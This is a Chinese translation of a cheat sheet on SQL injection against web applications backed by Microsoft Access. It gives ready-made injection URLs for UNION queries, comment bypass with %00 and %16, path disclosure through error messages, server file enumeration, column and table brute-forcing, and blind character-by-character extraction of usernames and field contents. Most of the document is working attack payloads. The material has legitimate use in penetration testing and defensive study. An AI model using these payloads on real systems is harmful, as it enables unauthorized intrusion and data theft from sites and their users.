笔者的第一次翻译。
原文:http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
目录
- 概述
- ACCESS数据库SQL注入基础
- SQL注入的技巧
- 盲注
- 参考文章
0x00 概述
尽管现如今基于Access数据库的web应用已经不再那么流行了,但是依旧有可能需要这些知识点。Ferruh Mavituna's page 和 Pentestmonkey.net 里面有大量的Cheat Sheet,但是却唯独没有关于Access数据库的。
这篇文章有望填补这个空白。 在这里你可以利用一些语法的提醒、高级的技巧和一些其他有用的细节来打破壁垒。请不要带有恶意的想法,这里只不过是一些理论上的用法。
需要留意的是,这篇文章会不断的变化,会根据最新版的Access数据库进行知识点和技巧的更新。如果你有什么评论、建议或者一些新的hack技术要分想,你可以给发送邮件到 daath@nibblesec.org 或者 ikki@nibblesec.org。
0x01 Access数据库注入基础
假设我们正面对着一个使用Access数据库的web应用。
1. 报错信息
不同的web平台,Access数据库在报错时会显示不同的报错信息。如下是两个例子:
Apache(PHP)
Fatal error: Uncaught execption 'com_exception' with message 'Source:Microsoft JET Database Engine Description: [...]
IIS(ASP)
Microsoft JET Database Engine error'80040e14'
2. 注释
Access数据库没有注释符,因此我们在注入中查询数据时,如果需要使用注释,那么我们将无法使用那些常见的注释符:/**/
,--
或者 #
。
然而,我们有时候可以使用Null,也就是%00
,来移除查询语句里面一些无用的部分。但是在有些情况便无法使用这种方式,例如PHP里面开启了magic_quote_gpc
参数,那么便会在Null前面添加反斜杠,从而导致失去意义;为了避免这种可能存在的情况,我们可以使用%16
,也就是SYN 字符,来实现相同的效果。在Payload中使用时,类似如下这种形式:
http://localhost/script.asp?id=1'+UNION+SELECT+1,2,3+FROM+someValidTabName%00
二次编码或者其他编码形式有时候也可以被用来注入上面的字符。
3. UNION操作符
Access数据库支持UNION
和UNION ALL
操作符,只是它们需要保证在SELECT查询的FROM字句中,真实存在这个表名。表的爆破被用来获得有效的表名。可以参考这篇文章的最后一部分。
4. 堆查询(Stacked Query)
Access数据库不支持这种方式,可以忽略它。
5. LIMIT效果
Access数据库不支持LIMIT
操作符。
但是,它可以使用TOP
操作符来限制SELECT查询只显示结果集里面的第几行。当TOP
操作符接收到一个整数形式的参数时,如TOP 3
,那么意为着返回结果集里面的前三行。
http://localhost/script.asp?id=1'+UNION+SELECT+TOP+3+someAttrName+FROM+validTable%00
上面这个例子,将会返回查询结果集里面的前三行。
除了TOP
操作符以外,如果组合LAST
操作符一起使用的话,那么可以完全替代LIMIT
。LAST
操作符可以返回结果集中最后面的记录,TOP
与LAST
组合使用的话可以查询任意指定的结果集。例如,我们要查询第N个记录时,可以通过TOP N跟 LAST的组合来实现。
6. 子查询
ACCESS数据库支持子查询。例如下面这个例子,使用了TOP 1
来仅仅返回一条记录。
http://localhost/script.aspx?id=1'+AND+(SELECT+TOP+1+'domeData'+FROM+table)%00
7. 硬编码查询(Hardcoded Query)返回0行
在某些情况下,我们需要只返回UNION SELECT
查询的结果时,我们可以使用硬编码查询(hardcoded query)来使前面的查询返回0条结果。
一个常见的技巧如下:
http://lcoalhost/script.asp?id=1'+AND+1=0+UNION+SELECT+1,2,3+FROM+table%00
8. 字符串连接
我们可以使用 &(%26)
和 +(%2b)
这两个字符来进行字符串的连接。当我们在HTTP请求中注入这两个字符时,需要被适当的编码:
http://localhost/script.asp?id=1'+UNION+SELECT+'web'+%2b+'app'+FROM+table%00
http://localhost/script.asp?id=1'+UNION+SELECT+'web'+%26+'app'+FROM+table%00
这两个查询均返回字符串 webapp
。
9. 子字符串
操作符MID
可以用来提取母字符串中一部分特定的子字符串。
http://localhost/script.asp?id=1'+UNION+SELECT+MID('abcd',1,1)+FROM+table%00
上面这条查询将会返回字符a
。
http://localhost/script.asp?id=1'+UNION+SELECT+MID('abcd',2,1)+FROM+table%00
上面这条查询将会返回字符b
。
10. 字符的ASCII值
ASC
操作符可以返回参数中字符对应的ASCII值:
http://localhost/script.asp?id=1'+UNION+SELECT+ASC('A')+FROM+table%00
上面这条查询将会返回65
, 这是字符A
对应的ASCII值。
11. IF THEN条件语句
IIF
操作符可以被用来创建"if-then"条件语句。语法:
IIF(condition,true,false)
http://localhost/script.asp?id=1'+UNION+SELECT+IIF(1=1,'a','b')+FROM+table%00
上面这个查询将会返回a
,因为1=1永远是正确的。
0x02 SQL注入的技巧
我们现在已经能够在我们的目标上注入一些适当的查询,并且获取一些有用的信息了。那么接下在可以怎么做呢?
1. WEB根目录的绝对路径
web根目录的绝对路径有助于我们做进一步的攻击。如果web应用的报错信息没有完全禁止显示,那么可以通过从一个不存在的表中查询数据来获取当前目录的绝对路径。
http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00
Access数据库的报错信息包含web目录的绝对路径。
2. 文件枚举
下面要介绍的这种攻击方式,可以让我们来推断受害者服务器上存在的文件。
如果指定的文件是存在的,那么Access数据库便会抛出 the database format is invalid
这样的报错信息。
http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00
另外一种枚举文件的方式是指定通过指定一个 database.table
条目。如果指定的文件存在,那么Access数据库便会抛出 database format error
的错误信息。
http://locahost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\\boot.init.TableName%00
3. .mdb文件名猜测
数据库的文件名(.mdb)可以通过下面这种查询来进行推测:
http://localhost/script.asp?id=1'+UNION+SELECT+`+FROM+name[i].realTable%00
这里的name[i]
是一个 .mdb 的文件名,realTable
是一个该数据库真实存在的一个表。
可以通过是否抛出报错信息,来区分.mdb的文件名是否有效。
4. .mdb密码破解
Access PassView 是一款免费的密码破解工具,可以适用与Microsoft Access 95/97/2000/XP 或者说 Jet 数据库引擎 3.0/4.0 。 这款工具可以在这里免费下载。 当然,还有一些其他第三方实用的数据库密码破解工具,只不过大部分都不是开源免费的。
5. 字段枚举
可以通过简单的爆破枚举所有的字段名称。
首先,我们应该获得一个有效的表名。如果报错信息没有被禁止的话,表名通常可以在报错信息中找到。假设 id 是一个有效的表名。
接下来,我们可以通过一个众所周知的MSSQL的知识点来枚举所有字段名。
http://localhost/script.asp?id=1'+GROUP+BY+ID%00
当报错信息稍微不同时,包括另外的一个字段。
因此我们可以继续执行如下操作:
http://localhost/script.asp?id=1'+GROUP+BY+ID,FIELD%00
最后,通过不断重复这个过程,来获取所有的字段名。
需要注意的是:如果你正在处理查询是SELECT * FROM
这种形式的,那么便无法使用这种技术。
0x03 盲注
在真实情况中,数据库的报错信息通常被禁止或者过滤。
但是,尽管如此,攻击者依旧可以利用一些不同的特征(HTML源码,响应时间等)来推测Payload的结果。
在Access中,这里有一些方法可以用来利用盲注。 在这一部分,我们将要说明一些有用的技术。
1. 通用的方法
在2008年,Antonio Parata 发表了一个帖子,介绍了一个基于IFF
,MID
,LAST
和TOP
操作符来检索字段内容的技巧。
假设我们已经发现了注入点,id字段、表名和字段名,此时我们可以利用下面的查询来继续利用:
http://localhost/index.asp?id=IIF((select%20mid(last(username),1,1)%20from%20(select%20top%2010%20username%20from%20users))='a',0,'ko')
简言之,这个查询利用了"if-then"语句来触发"200 OK"状态,或者"500 Internal Error"等其他情况。
TOP 10
操作符,用来查询前10条结果,而随后的LAST
则限制了只取第十个。
而后,使用了MID
操作符,来获取特定的单个字符,用来执行简单的字符比较。
通过如此反复的修改MID
和TOP
的索引值,我们可以获取结果集中所有username
字段的内容。
2. 基于时间的盲注
Access数据库没有提供像BENCHMARK
或者SLEEP
这样的操作符。
但是,我们依旧有办法来推测查询的结果,可以通过Microsoft TechNet article里面所描述的重查询的方法。
3. 表名/字段名爆破
表名跟字段名的知识是构建一次攻击必不可少的。
在任何情境下,都可以使用一份字典来爆破这些值。
可以直接在fuzzdb中找到字段/表/.mdb名的字典。为了快速查看,直接在此处展现一小部分字典:
使用我们最喜欢的脚本语言,来使用如下这种查询迭代字典中所有的条目:
http://localhost/script.asp?id=1'+AND+(SELECT+TOP+1+FROM+$wordlist)%00
如果$wordlist变量做代表的表名存在,那么web应用将会显示一个正常的HTML响应。 当获得了一个有效的表名之后,我们可以利用如下这种相似方式来猜测字段名:
http://lcoalhost/script.asp?id=1'+AND+(SELECT+TOP+1+FileName[i]+FROM+validTableName)%00
4. 表行计数
可以使用如下这种查询来获取一个表的总行数:
http://localhost/script.asp?id=1'+AND+IIF((SELECT+COUNT(*)+FROM+validTableName)=x,1,0)%00
下文中出现的TAB_LEN
表示我们已经获取的表的行数。
5.其他爆破的技术
除了常见的盲注的方法,使用其他技巧也可以实现相同的效果。我们将要引入一个概念,来试图获取一个字段的值的长度。
爆破一个常见的字段值的长度可以采用如下这种查询方式:
http://localhost/script.asp?id=1'+AND+IIF((SELECT+TOP+1+LEN(FIELD)+FROM+table)=x,1,0)%00
随后,我们可以通过排除前面获取到的结果,来获取第二行到TAB_LEN
行所有的字段值的长度:
http://localhost/script.asp?id=1'+AND+IIF((SELECT+TOP+N+LEN(FIELD)+FROM+table+WHERE+FIELD<>'value1'+AND+FIELD<>'value2'+..FIELD<>'valueN')=K,1,0)%00
K
的值必须在0跟最大值之间。 为了我们方便,这篇文章介绍了Access最大的容量。
在这个查询中,FIELD<>'valueXXX'
用来排除已经获取结果的字段。
需要注意的是,要保证字段的值是唯一的,只有这样这种技术才是有效的。(例如。排除的字段是一个主键)
当排除的字段的值不是唯一的时,那么可能会略过一条甚至多条结果。
最后,我们可以使用下面这种方式来获取字段的内容:
script.asp?id=1'+AND+IFF((SELECT+TOP+N+MID(FIELD,NC,1)+FROM+table+WHERE+FIELD_KEY<>'value1'+AND+FIELD_key<>'value2'+..etc..)=CHAR(Y),1,0)%00
N
是要爆破的字段的总数;
NC
是字段的第n个字符;
FILED_key
是这个表的主键字段;
Y
是0到255之间的数字 (即一个字符的ASCII值)。
0x04 参考文章
http://www.owasp.org/index.php/Testing_for_MS_Access
http://office.microsoft.com/en-us/access/CH100621381033.aspx
http://seclists.org/pen-test/2003/May/0074.html
http://sla.ckers.org/forum/read.php?16,13433
http://support.microsoft.com/kb/294698
http://www.microsoft.com/technet/community/columns/secmvp/sv0907.mspx
http://www.ictsc.it/site/IT/pagers/MSAccessBlindsqlInjection.php
http://seclists.org/bugtraq/2010/Apr/269
http://www.insomniasec.com/publications/Access-Through-Access.pdf
http://www.databasezone.com/techdocs/acclimit.html
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/